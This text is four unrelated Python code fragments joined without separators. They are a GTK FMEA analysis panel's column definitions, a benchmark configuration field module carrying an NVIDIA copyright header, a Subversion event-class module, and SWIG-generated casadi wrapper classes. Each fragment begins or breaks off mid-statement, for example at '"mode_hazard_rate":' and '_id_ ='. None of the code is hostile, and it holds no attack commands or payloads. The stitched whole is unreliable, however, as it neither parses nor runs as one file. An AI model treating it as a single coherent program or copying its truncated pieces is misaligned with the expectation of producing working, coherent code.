False, False, False, False, False, False, False, False, ], } # Define private list class attributes. # Define private scalar class attributes. _select_msg = "succeed_retrieve_fmeca" _tag = "fmeca" _title = _("Failure Mode and Effects Analysis") # Define public dictionary class attributes. # Define public dictionary list attributes. lst_control_types = ["", "Detection", "Prevention"] # Define public dictionary scalar attributes. # Define private dictionary class attributes. def __init__(self): """Initialize an instance of the FMEA analysis panel.""" super().__init__() # Initialize private dictionary attributes. self._dic_mission_phases: Dict[str, List[str]] = {"": [""]} self.tvwTreeView.dic_row_loader = { "mode": self.__do_load_mode, "mechanism": self.__do_load_mechanism, "cause": self.__do_load_cause, "control": self.__do_load_control, "action": self.__do_load_action, } # Initialize private list attributes. self._lst_missions: List[str] = [""] # Initialize private scalar attributes. self._filtered_tree = True self._on_edit_message: str = f"wvw_editing_{self._tag}" # Initialize public dictionary attributes. self.dic_attribute_widget_map: Dict[str, List[Any]] = { "revision_id": [ 0, Gtk.CellRendererText(), "edited", None, self._on_edit_message, 0, { "bg_color": "#FFFFFF", "editable": False, "fg_color": "#000000", "visible": False, }, _("Revision ID"), "gint", ], "hardware_id": [ 1, Gtk.CellRendererText(), "edited", None, self._on_edit_message, 0, { "bg_color": "#FFFFFF", "editable": False, "fg_color": "#000000", "visible": False, }, _("Hardware ID"), "gint", ], "mode_id": [ 2, Gtk.CellRendererText(), "edited", None, self._on_edit_message, 0, { "bg_color": "#FFFFFF", "editable": False, "fg_color": "#000000", "visible": False, }, _("Mode ID"), "gint", ], "mechanism_id": [ 3, Gtk.CellRendererText(), "edited", None, self._on_edit_message, 0, { "bg_color": "#FFFFFF", "editable": False, "fg_color": "#000000", "visible": False, }, _("Mechanism ID"), "gint", ], "cause_id": [ 4, Gtk.CellRendererText(), "edited", None, self._on_edit_message, 0, { "bg_color": "#FFFFFF", "editable": False, "fg_color": "#000000", "visible": False, }, _("Cause ID"), "gint", ], "control_id": [ 5, Gtk.CellRendererText(), "edited", None, self._on_edit_message, 0, { "bg_color": "#FFFFFF", "editable": False, "fg_color": "#000000", "visible": False, }, _("Control ID"), "gint", ], "action_id": [ 6, Gtk.CellRendererText(), "edited", None, self._on_edit_message, 0, { "bg_color": "#FFFFFF", "editable": False, "fg_color": "#000000", "visible": False, }, _("Action ID"), "gint", ], "description": [ 7, Gtk.CellRendererText(), "edited", self._on_cell_edit, "wvw_editing_fmeca", "", { "bg_color": "#FFFFFF", "editable": True, "fg_color": "#000000", "visible": True, }, _("Description"), "gchararray", ], "mission": [ 8, Gtk.CellRendererCombo(), "edited", super().on_cell_edit, "wvw_editing_mode", "", { "bg_color": "#FFFFFF", "editable": True, "fg_color": "#000000", "visible": True, }, _("Applicable Mission"), "gchararray", ], "mission_phase": [ 9, Gtk.CellRendererCombo(), "edited", super().on_cell_toggled, "wvw_editing_mode", "", { "bg_color": "#FFFFFF", "editable": True, "fg_color": "#000000", "visible": True, }, _("Applicable Mission Phase"), "gchararray", ], "effect_local": [ 10, Gtk.CellRendererText(), "edited", super().on_cell_edit, "wvw_editing_mode", "", { "bg_color": "#FFFFFF", "editable": True, "fg_color": "#000000", "visible": True, }, _("Local Effect"), "gchararray", ], "effect_next": [ 11, Gtk.CellRendererText(), "edited", super().on_cell_edit, "wvw_editing_mode", "", { "bg_color": "#FFFFFF", "editable": True, "fg_color": "#000000", "visible": True, }, _("Next Effect"), "gchararray", ], "effect_end": [ 12, Gtk.CellRendererText(), "edited", super().on_cell_edit, "wvw_editing_mode", "", { "bg_color": "#FFFFFF", "editable": True, "fg_color": "#000000", "visible": True, }, _("End Effect"), "gchararray", ], "detection_method": [ 13, Gtk.CellRendererText(), "edited", super().on_cell_edit, "wvw_editing_mode", "", { "bg_color": "#FFFFFF", "editable": True, "fg_color": "#000000", "visible": True, }, _("Detection Method"), "gchararray", ], "other_indications": [ 14, Gtk.CellRendererText(), "edited", super().on_cell_edit, "wvw_editing_mode", "", { "bg_color": "#FFFFFF", "editable": True, "fg_color": "#000000", "visible": True, }, _("Other Indications"), "gchararray", ], "isolation_method": [ 15, Gtk.CellRendererText(), "edited", super().on_cell_edit, "wvw_editing_mode", "", { "bg_color": "#FFFFFF", "editable": True, "fg_color": "#000000", "visible": True, }, _("Isolation Method"), "gchararray", ], "design_provisions": [ 16, Gtk.CellRendererText(), "edited", super().on_cell_edit, "wvw_editing_mode", "", { "bg_color": "#FFFFFF", "editable": True, "fg_color": "#000000", "visible": True, }, _("Design Provisions"), "gchararray", ], "operator_actions": [ 17, Gtk.CellRendererText(), "edited", super().on_cell_edit, "wvw_editing_mode", "", { "bg_color": "#FFFFFF", "editable": True, "fg_color": "#000000", "visible": True, }, _("Operator Actions"), "gchararray", ], "severity_class": [ 18, Gtk.CellRendererCombo(), "edited", super().on_cell_edit, "wvw_editing_mode", "", { "bg_color": "#FFFFFF", "editable": True, "fg_color": "#000000", "visible": True, }, _("Safety Severity"), "gchararray", ], "hazard_rate_source": [ 19, Gtk.CellRendererText(), "edited", super().on_cell_edit, "wvw_editing_mode", "", { "bg_color": "#FFFFFF", "editable": True, "fg_color": "#000000", "visible": True, }, _("Hazard Rate Data Source"), "gchararray", ], "mode_probability": [ 20, Gtk.CellRendererCombo(), "edited", super().on_cell_edit, "wvw_editing_mode", "", { "bg_color": "#FFFFFF", "editable": True, "fg_color": "#000000", "visible": True, }, _("Failure Probability"), "gchararray", ], "effect_probability": [ 21, Gtk.CellRendererText(), "edited", super().on_cell_edit, "wvw_editing_mode", 1.0, { "bg_color": "#FFFFFF", "editable": True, "fg_color": "#000000", "visible": True, }, _("Effect Probability (beta)"), "gfloat", ], "mode_ratio": [ 22, Gtk.CellRendererText(), "edited", super().on_cell_edit, "wvw_editing_mode", 0.0, { "bg_color": "#FFFFFF", "editable": True, "fg_color": "#000000", "visible": True, }, _("Mode Ratio (alpha)"), "gfloat", ], "mode_hazard_rate":
# Copyright (c) 2021, NVIDIA CORPORATION. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from __future__ import annotations from argparse import ArgumentParser from dataclasses import dataclass from enum import Enum, unique from typing import Any, Dict, Tuple, Optional import os import sys sys.path.insert(0, os.getcwd()) from code.common.constants import * from code.common.system_list import System _LWIS_BENCHMARKS = (Benchmark.ResNet50, Benchmark.SSDMobileNet, Benchmark.SSDResNet34, Benchmark.UNET3D) _CV_BENCHMARKS = (Benchmark.ResNet50, Benchmark.SSDMobileNet, Benchmark.SSDResNet34) _HARNESS_ACTIONS = (Action.RunHarness, Action.RunAuditHarness) @dataclass(frozen=True) class Field: """ Represents a configuration parameter used for any benchmark workload. """ name: str """str: Identifier for this field""" description: str """str: Description of this field's meaning and usage""" value_type: type """type: The expected type of the value of the field""" default: Any = None """Any: The default value of this Field""" supported_actions: Tuple[Action, ...] = tuple(Action) """Tuple[Action, ...]: Actions this Field is used in""" supported_benchmarks: Tuple[Benchmark, ...] = tuple(Benchmark) """Tuple[Benchmark, ...]: Benchmarks this Field is used in""" supported_scenarios: Tuple[Scenario, ...] = tuple(Scenario) """Tuple[Scenario, ...]: Scenarios this Field is used in""" supported_systems: Tuple[System, ...] = (AdHocSystemClassification.CatchAll,) """Tuple[System, ...]: Systems this Field is used in""" supported_harnesses: Tuple[HarnessType, ...] = tuple(HarnessType) """Tuple[HarnessType, ...]: Harnesses this Field can be used in""" supported_power_settings: Tuple[PowerSetting, ...] = tuple(PowerSetting) """Tuple[HarnessType, ...]: Harnesses this Field can be used in""" required: bool = False """bool: Whether or not this Field is required to run the workload""" no_argparse: bool = False """bool: If True, this Field should not be added to argparsers""" argparse_opts: Optional[Dict[str, Any]] = None """Dict[str, Any]: Optional kwargs to use for Argparse.Argument""" def add_to_argparser(self, argparser: ArgumentParser, allow_argparse_default=False): """ Adds this field to an argparser as a command line argument to be parsed. If this Field has a value_type of bool, it is treated as a store_true argument (i.e. --verbose). If no_argparse is True, this method returns immediately without adding to the argparser. Args: argparser (argparse.ArgumentParser): The argparser to add this field to as an argument. allow_argparse_default (bool): If False, disallows using 'default' in argparse_opts. This is useful to prevent bugs where a default argparse value will override any changes made in the BenchmarkConfiguration, as CLI overrides take the highest precedence for runtime arguments. Default: False. """ if self.no_argparse: return kwargs = dict() if self.argparse_opts is None else self.argparse_opts if not allow_argparse_default and "default" in kwargs: raise RuntimeError(" ".join([ f"Field({self.name}) contains 'default' in argparse_opts, which is disallowed.", "If you wish to specify a default value, use the Field.default instead." ])) if self.value_type is bool: argparser.add_argument(f"--{self.name}", help=self.description, action="store_true", **kwargs) else: argparser.add_argument(f"--{self.name}", help=self.description, type=self.value_type, **kwargs) def supports(self, action: Optional[Action], benchmark: Benchmark, scenario: Scenario, system: System, workload_setting: WorkloadSetting) -> bool: """ Whether or not this Field supports the given workload. Args: action (Optional[Action]): The Action of the workload. If None, unused during the check. benchmark (Benchmark): The Benchmark of the workload scenario (Scenario): The Scenario of the workload system (System): The System running the workload workload_setting (WorkloadSetting): The WorkloadSetting field of the config to get fields for Returns: bool: True if all of the parameters of the workload are supported by this Field. False otherwise. harness_type is only checked if `action` is Action.RunHarness, Action.RunAuditHarness, or None. """ sys_id = system.get_id() return (action is None or action in self.supported_actions) and \ benchmark in self.supported_benchmarks and \ scenario in self.supported_scenarios and \ any(elem == sys_id for elem in self.supported_systems) and \ (action not in (list(_HARNESS_ACTIONS) + [None]) or workload_setting.harness_type in self.supported_harnesses) and \ workload_setting.power_setting in self.supported_power_settings @unique class Fields(Enum): """ Defines a set of known Fields for BenchmarkConfigurations. """ gpu_batch_size: Field = Field( "gpu_batch_size", "Batch size to use for the GPU.", supported_systems=(AdHocSystemClassification.GPUBased,), value_type=int, required=True) dla_batch_size: Field = Field( "dla_batch_size", "Batch size to use for the DLA. Xavier-only argument.", value_type=int, supported_benchmarks=_CV_BENCHMARKS, supported_scenarios=(Scenario.Offline,), supported_systems=(AdHocSystemClassification.Xavier,), required=True) verbose: Field = Field( "verbose", "Whether to use verbose output.", value_type=bool) verbose_nvtx: Field = Field( "verbose_nvtx", "Turn ProfilingVerbosity to kVERBOSE so NVTX prints layer detail. Used only when profiling.", value_type=bool) workspace_size: Field = Field( "workspace_size", "The maximum size (in bytes) of temporary workspace that any layer in the network can use in TRT engine builder.", value_type=int, supported_actions=(Action.GenerateEngines,)) power_limit: Field = Field( "power_limit", "Set power upper limit to the specified value.", value_type=int, supported_power_settings=(PowerSetting.MaxQ,)) cpu_freq: Field = Field( "cpu_freq", "Set cpu frequency to the specified value.", value_type=int, supported_power_settings=(PowerSetting.MaxQ,)) xavier_gpu_freq: Field = Field( "xavier_gpu_freq", "Set power upper limit to the specified value.", value_type=int, supported_power_settings=(PowerSetting.MaxQ,), supported_systems=(AdHocSystemClassification.Xavier,)) xavier_dla_freq: Field = Field( "xavier_dla_freq", "Set dla clock to the specified value.", value_type=int, supported_power_settings=(PowerSetting.MaxQ,), supported_systems=(AdHocSystemClassification.Xavier,)) xavier_cpu_freq: Field = Field( "xavier_cpu_freq", "Set cpu clock to the specified value.", value_type=int, supported_power_settings=(PowerSetting.MaxQ,), supported_systems=(AdHocSystemClassification.Xavier,)) xavier_emc_freq: Field = Field( "xavier_emc_freq", "Set emc clock to specified value.", value_type=int, supported_power_settings=(PowerSetting.MaxQ,), supported_systems=(AdHocSystemClassification.Xavier,)) data_dir: Field = Field( "data_dir", "Directory containing raw, unprocessed dataset.", value_type=str) preprocessed_data_dir: Field = Field( "preprocessed_data_dir", "Directory containing preprocessed dataset.", value_type=str) precision: Field = Field( "precision", "Precision to use for the network", value_type=str, required=True, argparse_opts={"choices": Precision.as_strings()}) input_dtype: Field = Field( "input_dtype", "Precision of the input", value_type=str, required=True, argparse_opts={"choices": Precision.as_strings()}) input_format: Field = Field( "input_format", "Format/layout of the input", value_type=str, required=True, supported_systems=(AdHocSystemClassification.GPUBased,), argparse_opts={"choices": InputFormats.as_strings()}) audio_fp16_input: Field = Field( "audio_fp16_input", "Is input format for raw audio in fp16?", value_type=bool, supported_benchmarks=(Benchmark.RNNT,)) force_calibration: Field = Field( "force_calibration", "Run quantization calibration, even if the cache exists.", value_type=bool, supported_actions=(Action.GenerateEngines, Action.Calibrate)) calib_batch_size: Field = Field( "calib_batch_size", "Batch size to use when calibrating", value_type=int, supported_actions=(Action.Calibrate,)) calib_max_batches: Field = Field( "calib_max_batches", "Number of batches to run for calibration.", value_type=int, supported_actions=(Action.Calibrate,)) cache_file: Field = Field( "cache_file", "Path to calibration cache.", value_type=str, supported_actions=(Action.GenerateEngines, Action.Calibrate)) calib_data_map: Field = Field( "calib_data_map", "Path to the data map of the calibration set.", value_type=str, supported_actions=(Action.Calibrate,)) benchmark: Field = Field( "benchmark", "Name of the benchmark.", value_type=str, argparse_opts={"choices": Benchmark.as_strings()}, required=True) scenario: Field = Field( "scenario", "Name of the scenario.", value_type=str, argparse_opts={"choices": Scenario.as_strings()}, required=True) system: Field = Field( "system", "System object. Note this cannot be passed in via CLI, but is used to validate BenchmarkConfiguration objects.", value_type=str, no_argparse=True, required=True) dla_core: Field = Field( "dla_core", "DLA Core ID to use.", value_type=int, supported_actions=(Action.GenerateEngines, Action.RunHarness, Action.RunAuditHarness), supported_benchmarks=_CV_BENCHMARKS, supported_scenarios=(Scenario.Offline,), supported_systems=(AdHocSystemClassification.Xavier,)) model_path: Field = Field( "model_path", "Path to the model weights.", value_type=str) active_sms: Field = Field( "active_sms", "Percentage of active SMs while generating engines.", value_type=int, supported_actions=(Action.GenerateEngines,)) log_dir: Field = Field( "log_dir", "Directory for all output logs.", value_type=str) use_graphs: Field = Field( "use_graphs", "Enable CUDA graphs.", value_type=bool, supported_actions=_HARNESS_ACTIONS, supported_systems=(AdHocSystemClassification.GPUBased,)) nopipelined_execution: Field = Field( "nopipelined_execution", """Disable pipelined execution. RNNT Only. Pipelined Execution should be enabled for Offline/Server, disabled for SingleStream""", value_type=bool, supported_actions=_HARNESS_ACTIONS, supported_benchmarks=(Benchmark.RNNT,)) nobatch_sorting: Field = Field( "nobatch_sorting", "Disable batch sorting by sequence length", value_type=bool, supported_actions=_HARNESS_ACTIONS, supported_benchmarks=(Benchmark.RNNT,)) noenable_audio_processing: Field = Field( "noenable_audio_processing", "Disable DALI preprocessing and fallback to preprocessed npy files", value_type=bool, supported_actions=_HARNESS_ACTIONS, supported_benchmarks=(Benchmark.RNNT,)) nouse_copy_kernel: Field = Field( "nouse_copy_kernel", "Disable using DALI's scatter gather kernel instead of using cudamemcpyAsync", value_type=bool, supported_actions=_HARNESS_ACTIONS, supported_benchmarks=(Benchmark.RNNT,)) num_warmups: Field = Field( "num_warmups", """Number of samples to warmup on. A value of -1 runs two full batches for each stream (2*batch_size*streams_per_gpu*NUM_GPUS), 0 turns off warmups. (Default: -1)""", value_type=int, supported_actions=_HARNESS_ACTIONS, supported_benchmarks=(Benchmark.RNNT,)) max_seq_length: Field = Field( "max_seq_length", "Max sequence length for audio. (Default: 128)", value_type=int, supported_actions=_HARNESS_ACTIONS, supported_benchmarks=(Benchmark.RNNT,)) audio_batch_size: Field = Field( "audio_batch_size", "Batch size for DALI's processing. (Default: 256)", value_type=int, supported_actions=_HARNESS_ACTIONS, supported_benchmarks=(Benchmark.RNNT,)) audio_buffer_num_lines: Field = Field( "audio_buffer_num_lines", "Number of audio samples in flight for DALI's processing. (Default: 4096)", value_type=int, supported_actions=_HARNESS_ACTIONS, supported_benchmarks=(Benchmark.RNNT,)) dali_batches_issue_ahead: Field = Field( "dali_batches_issue_ahead", "Number of batches for which cudamemcpy is issued ahead of DALI compute. (Default: 4)", value_type=int, supported_actions=_HARNESS_ACTIONS, supported_benchmarks=(Benchmark.RNNT,)) dali_pipeline_depth: Field = Field( "dali_pipeline_depth", "Depth of sub-batch processing in DALI pipeline. (Default: 4)", value_type=int, supported_actions=_HARNESS_ACTIONS, supported_benchmarks=(Benchmark.RNNT,)) disable_encoder_plugin: Field = Field( "disable_encoder_plugin", "Disable the INT8 Encoder TRT plugin and use the fallback TRT API for Encoder", value_type=bool, supported_actions=_HARNESS_ACTIONS, supported_benchmarks=(Benchmark.RNNT,))
#=============================================================================== # Imports #=============================================================================== import os import sys from evn.event import ( Event, EventType, ) #=============================================================================== # Helpers #=============================================================================== def get_next_event_id(): """ Get the next ID number to be used for a new event. This is a simple helper method intended to be used when adding new events. It reads the contents of this file, finds the highest ID being used (simply by looking for strings that start with ' _id_ = ', then returns one higher than that number. .. tip:: calling python against this file directly will run this method and print out the next highest ID to use for a new event. """ n = os.path.abspath(__file__.replace('.pyc', '.py')) with open(n, 'r') as f: text = f.read() highest = None for line in text.splitlines(): if not line.startswith(' _id_ ='): continue num = int(line[line.rfind('=')+2:]) if num > highest: highest = num return highest + 1 def check_event_id_invariants(): """ This method enforces the following invariants: - All events defined in this file (events.py) use a unique ID. - The ' _id_ = n' line comes directly after the class definition. - All lines are <= 80 characters. This method is called every time this file is loaded/reloaded. """ n = os.path.abspath(__file__.replace('.pyc', '.py')) with open(n, 'r') as f: text = f.read() seen = dict() classname = None id_should_be_on_next_line = False for (lineno, line) in enumerate(text.splitlines()): assert len(line) <= 80, "lineno: %d, len: %d" % (lineno, len(line)) if line.startswith('class '): classname = line[6:line.rfind('(')] id_should_be_on_next_line = True elif line.startswith(' _id_ ='): id_should_be_on_next_line = False num = int(line[line.rfind('=')+2:]) if num in seen: error = ( 'error: duplicate ID detected for %d:\n' ' line: %d, class: %s\n' ' line: %d, class: %s\n' % ( num, seen[num][0], seen[num][1], lineno, classname, ) ) raise RuntimeError(error) else: seen[num] = (lineno, classname) elif id_should_be_on_next_line: error = ( "error: class '%s' has not been defined properly, " "was expecting '_id_' to be defined on line %d, but " "saw '%s' instead." % ( classname, lineno, line, ) ) raise RuntimeError(error) check_event_id_invariants() #=============================================================================== # Note #=============================================================================== class MergeinfoRemovedFromRepositoryRoot(Event): _id_ = 1 _type_ = EventType.Note class SubtreeMergeinfoModified(Event): _id_ = 2 _type_ = EventType.Note class SubtreeMergeinfoRemoved(Event): _id_ = 3 _type_ = EventType.Note class Merge(Event): _id_ = 4 _type_ = EventType.Note class RootRemoved(Event): _id_ = 5 _type_ = EventType.Note class ValidMultirootCommit(Event): _id_ = 6 _type_ = EventType.Note _desc_ = "valid multi-root commit" class MultipleUnknownAndKnowRootsVerifiedByExternals(Event): _id_ = 7 _type_ = EventType.Note _desc_ = "multiple known and unknown roots verified by svn:externals" class BranchRenamed(Event): _id_ = 8 _type_ = EventType.Note class TrunkRelocated(Event): _id_ = 9 _type_ = EventType.Note class FileReplacedViaCopyDuringMerge(Event): _id_ = 10 _type_ = EventType.Note class FileUnchangedButParentCopyOrRenameBug(Event): _id_ = 11 _type_ = EventType.Note _desc_ = "file is unchanged but there is a parent rename or copy action" class DirUnchangedButParentCopyOrRenameBug(Event): _id_ = 12 _type_ = EventType.Note _desc_ = ( "directory is unchanged but there is a parent rename or copy action" ) class UnchangedFileDuringMerge(Event): _id_ = 13 _type_ = EventType.Note _desc_ = "file unchanged during merge" class UnchangedDirDuringMerge(Event): _id_ = 14 _type_ = EventType.Note _desc_ = "dir unchanged during merge" #=============================================================================== # Confirm #=============================================================================== class KnownRootRemoved(Event): _id_ = 15 _type_ = EventType.Warn #=============================================================================== # Warn #=============================================================================== class TagRenamed(Event): _id_ = 16 _type_ = EventType.Warn class TagModified(Event): _id_ = 17 _type_ = EventType.Warn class MultipleUnknownAndKnownRootsModified(Event): _id_ = 18 _type_ = EventType.Warn _desc_ = "multiple known and unknown roots modified in the same commit" class MixedRootNamesInMultiRootCommit(Event): _id_ = 19 _type_ = EventType.Warn _desc_ = "mixed root names in multi-root commit" class MixedRootTypesInMultiRootCommit(Event): _id_ = 20 _type_ = EventType.Warn _desc_ = "mixed root types in multi-root commit" class SubversionRepositoryCheckedIn(Event): _id_ = 21 _type_ = EventType.Warn class MergeinfoAddedToRepositoryRoot(Event): _id_ = 22 _type_ = EventType.Warn _desc_ = "svn:mergeinfo added to repository root '/'" class MergeinfoModifiedOnRepositoryRoot(Event): _id_ = 23 _type_ = EventType.Warn _desc_ = "svn:mergeinfo modified on repository root '/'" class SubtreeMergeinfoAdded(Event): _id_ = 24 _type_ = EventType.Warn _desc_ = "svn:mergeinfo added to subtree" class RootMergeinfoRemoved(Event): _id_ = 25 _type_ = EventType.Warn _desc_ = "svn:mergeinfo removed from root" class DirectoryReplacedDuringMerge(Event): _id_ = 26 _type_ = EventType.Warn class EmptyMergeinfoCreated(Event): _id_ = 27 _type_ = EventType.Warn _desc_ = "empty svn:mergeinfo property set on path" class MultipleRootsAffectedByRemove(Event): _id_ = 28 _type_ = EventType.Warn #=============================================================================== # Error #=============================================================================== class TagDirectoryCreatedManually(Event): _id_ = 29 _type_ = EventType.Error class BranchDirectoryCreatedManually(Event): _id_ = 30 _type_ = EventType.Error class BranchRenamedToTrunk(Event): _id_ = 31 _type_ = EventType.Error class TrunkRenamedToBranch(Event): _id_ = 32 _type_ = EventType.Error class TrunkRenamedToTag(Event): _id_ = 33 _type_ = EventType.Error class BranchRenamedToTag(Event): _id_ = 34 _type_ = EventType.Error class BranchRenamedOutsideRootBaseDir(Event): _id_ = 35 _type_ = EventType.Error _desc_ = "branch renamed to location outside root base dir" class TagSubtreePathRemoved(Event): _id_ = 36 _type_ = EventType.Error class RenameAffectsMultipleRoots(Event): _id_ = 37 _type_ = EventType.Error class UncleanRenameAffectsMultipleRoots(Event): _id_ = 38 _type_ = EventType.Error class MultipleRootsCopied(Event): _id_ = 39 _type_ = EventType.Error class TagCopied(Event): _id_ = 40 _type_ = EventType.Error class UncleanCopy(Event): _id_ = 41 _type_ = EventType.Error class FileRemovedFromTag(Event): _id_ = 42 _type_ = EventType.Error class CopyKnownRootSubtreeToValidAbsRootPath(Event): _id_ = 43 _type_ = EventType.Error _desc_ = "copy known root subtree to valid absolute root path" class MixedRootsNotClarifiedByExternals(Event): _id_ = 44 _type_ = EventType.Error _desc_ = ( "multiple known and unknown roots in commit could not be " "clarified by svn:externals" ) class CopyKnownRootToIncorrectlyNamedRootPath(Event): _id_ = 45 _type_ = EventType.Error _desc_ = "known root copied to an incorrectly-named new root path" class CopyKnownRootSubtreeToIncorrectlyNamedRootPath(Event): _id_ = 46 _type_ = EventType.Error _desc_ = "known root subtree copied to incorrectly-named new root path" class UnknownPathRenamedToIncorrectlyNamedNewRootPath(Event): _id_ = 47 _type_ = EventType.Error _desc_ = "unknown path renamed incorrectly to new root path name" class RenamedKnownRootToIncorrectlyNamedRootPath(Event): _id_ = 48 _type_ = EventType.Error class MixedChangeTypesInMultiRootCommit(Event): _id_ = 49 _type_ = EventType.Error _desc_ = "mixed change types in multi-root commit" class CopyKnownRootToKnownRootSubtree(Event): _id_ = 50 _type_ = EventType.Error class UnknownPathCopiedToIncorrectlyNamedNewRootPath(Event): _id_ = 51 _type_ = EventType.Error class RenamedKnownRootToKnownRootSubtree(Event): _id_ = 52 _type_ = EventType.Error _desc_ = "renamed root to known root subtree" class FileUnchangedAndNoParentCopyOrRename(Event): _id_ = 53 _type_ = EventType.Error _desc_ = ( "file has no text or property changes, and no parent copy or rename " "actions can be found" ) class DirUnchangedAndNoParentCopyOrRename(Event): _id_ = 54 _type_ = EventType.Error _desc_ = ( "directory has not changed, and no parent copy or rename actions can " "be found" ) class EmptyChangeSet(Event): _id_ = 55 _type_ = EventType.Error class RenameRelocatedPathOutsideKnownRoot(Event): _id_ = 56 _type_ = EventType.Error class TagRemoved(Event): _id_ = 57 _type_ = EventType.Error class CopyKnownRootToUnknownPath(Event): _id_ = 58 _type_ = EventType.Error _desc_ = "known root copied to unknown path" class CopyKnownRootSubtreeToInvalidRootPath(Event): _id_ = 59 _type_ = EventType.Error _desc_ = "known root copied to invalid root path" class NewRootCreatedByRenamingUnknownPath(Event): _id_ = 60 _type_ = EventType.Error class UnknownPathCopiedToKnownRootSubtree(Event): _id_ = 61 _type_ = EventType.Error class NewRootCreatedByCopyingUnknownPath(Event): _id_ = 62 _type_ = EventType.Error class RenamedKnownRootToUnknownPath(Event): _id_ = 63 _type_ = EventType.Error _desc_ = "known root renamed to unknown path" class RenamedKnownRootSubtreeToUnknownPath(Event): _id_ = 64 _type_ = EventType.Error _desc_ = "known root subtree renamed to unknown path" class RenamedKnownRootSubtreeToValidRootPath(Event): _id_ = 65 _type_ = EventType.Error _desc_ = "known root subtree renamed to valid root path" class RenamedKnownRootSubtreeToIncorrectlyNamedRootPath(Event): _id_ = 66 _type_ = EventType.Error _desc_ = "known root subtree renamed to incorrectly-named root path" class UncleanRename(Event): _id_ = 67 _type_ = EventType.Error class PathCopiedFromOutsideRootDuringNonMerge(Event): _id_ = 68 _type_ = EventType.Error _desc_ = "path copied from outside root during non-merge" class UnknownDirReplacedViaCopyDuringNonMerge(Event): _id_ = 69 _type_ = EventType.Error _desc_ = "unknown directory replaced via copy during non-merge" class DirReplacedViaCopyDuringNonMerge(Event): _id_ = 70 _type_ = EventType.Error _desc_ = "directory replaced via copy during non-merge" class DirectoryReplacedDuringNonMerge(Event): _id_ = 71 _type_ = EventType.Error _desc_ = "directory replaced during non-merge" class PreviousPathNotMatchedToPathsInMergeinfo(Event): _id_ = 72 _type_ = EventType.Error _desc_ = "previous path not matched to paths in mergeinfo" class PreviousRevDiffersFromParentCopiedFromRev(Event): _id_ = 73 _type_ = EventType.Error _desc_ = "previous rev differs from parent copied-from rev" class PreviousPathDiffersFromParentCopiedFromPath(Event): _id_ = 74 _type_ = EventType.Error _desc_ = "previous path differs from parent copied-from path" class PreviousRevDiffersFromParentRenamedFromRev(Event): _id_ = 75 _type_ = EventType.Error _desc_ = "previous rev differs from parent renamed-from rev" class PreviousPathDiffersFromParentRenamedFromPath(Event): _id_ = 76 _type_ = EventType.Error _desc_ = "previous path differs from parent renamed-from path" class KnownRootPathReplacedViaCopy(Event): _id_ = 77 _type_ = EventType.Error class BranchesDirShouldBeCreatedManuallyNotCopied(Event): _id_ = 78 _type_ = EventType.Error _desc_ = "'branches' directory should be created manually not copied" class TagsDirShouldBeCreatedManuallyNotCopied(Event): _id_ = 79 _type_ = EventType.Error _desc_ = "'tags' directory should be created manually not copied" class CopiedFromPathNotMatchedToPathsInMergeinfo(Event): _id_ =
function body, if inlined. body(self, str symname) -> str """ return _casadi.Importer_body(self, *args) def __init__(self, *args): """ Importer() Default constructor. Importer(Importer other) Importer(str name, str compiler, dict opts) Importer factory. > Importer(Importer other) ------------------------------------------------------------------------ > Importer(str name, str compiler, dict opts) ------------------------------------------------------------------------ Importer factory. > Importer() ------------------------------------------------------------------------ Default constructor. """ this = _casadi.new_Importer(*args) try: self.this.append(this) except __builtin__.Exception: self.this = this __swig_destroy__ = _casadi.delete_Importer Importer_swigregister = _casadi.Importer_swigregister Importer_swigregister(Importer) def Importer_type_name(*args): """ type_name() -> str """ return _casadi.Importer_type_name(*args) def Importer_test_cast(*args): """ test_cast(casadi::SharedObjectInternal const * ptr) -> bool """ return _casadi.Importer_test_cast(*args) def Importer_has_plugin(*args): """ has_plugin(str name) -> bool """ return _casadi.Importer_has_plugin(*args) def Importer_load_plugin(*args): """ load_plugin(str name) """ return _casadi.Importer_load_plugin(*args) def Importer_doc(*args): """ doc(str name) -> str """ return _casadi.Importer_doc(*args) class Callback(Function): """ Callback function functionality. This class provides a public API to the FunctionInternal class that can be subclassed by the user, who is then able to implement the different virtual method. Note that the Function class also provides a public API to FunctionInternal, but only allows calling, not being called. The user is responsible for not deleting this class for the lifetime of the internal function object. <NAME>, <NAME> C++ includes: callback.hpp """ __swig_setmethods__ = {} for _s in [Function]: __swig_setmethods__.update(getattr(_s, '__swig_setmethods__', {})) __setattr__ = lambda self, name, value: _swig_setattr(self, Callback, name, value) __swig_getmethods__ = {} for _s in [Function]: __swig_getmethods__.update(getattr(_s, '__swig_getmethods__', {})) __getattr__ = lambda self, name: _swig_getattr(self, Callback, name) __repr__ = _swig_repr def type_name(*args): """ type_name() -> str """ return _casadi.Callback_type_name(*args) type_name = staticmethod(type_name) def __init__(self, *args): """ Copy constructor (throws an error) Callback(self) Default constructor. Callback(self, Callback obj) > Callback(self) ------------------------------------------------------------------------ Default constructor. > Callback(self, Callback obj) ------------------------------------------------------------------------ Copy constructor (throws an error) """ if self.__class__ == Callback: _self = None else: _self = self this = _casadi.new_Callback(_self, *args) try: self.this.append(this) except __builtin__.Exception: self.this = this __swig_destroy__ = _casadi.delete_Callback def construct(self, *args): """ Construct internal object This is the step that actually construct the construct(self, str name, dict opts) internal object, as the class constructor only creates a null pointer. It should be called from the user constructor. """ return _casadi.Callback_construct(self, *args) def init(self, *args): """ Initialize the object This function is called after the object construction init(self) (for the whole class hierarchy) is complete, but before the finalization step. It is called recursively for the whole class hierarchy, starting with the lowest level. """ return _casadi.Callback_init(self, *args) def finalize(self, *args): """ Finalize the object This function is called after the construction and init finalize(self) steps are completed, but before user functions are called. It is called recursively for the whole class hierarchy, starting with the highest level. """ return _casadi.Callback_finalize(self, *args) def eval(self, *args): """ Evaluate numerically, temporary matrices and work vectors. eval(self, [DM] arg) -> [DM] """ return _casadi.Callback_eval(self, *args) def get_n_in(self, *args): """ Get the number of inputs This function is called during construction. get_n_in(self) -> int """ return _casadi.Callback_get_n_in(self, *args) def get_n_out(self, *args): """ Get the number of outputs This function is called during construction. get_n_out(self) -> int """ return _casadi.Callback_get_n_out(self, *args) def get_sparsity_in(self, *args): """ Get the sparsity of an input This function is called during construction. get_sparsity_in(self, int i) -> Sparsity """ return 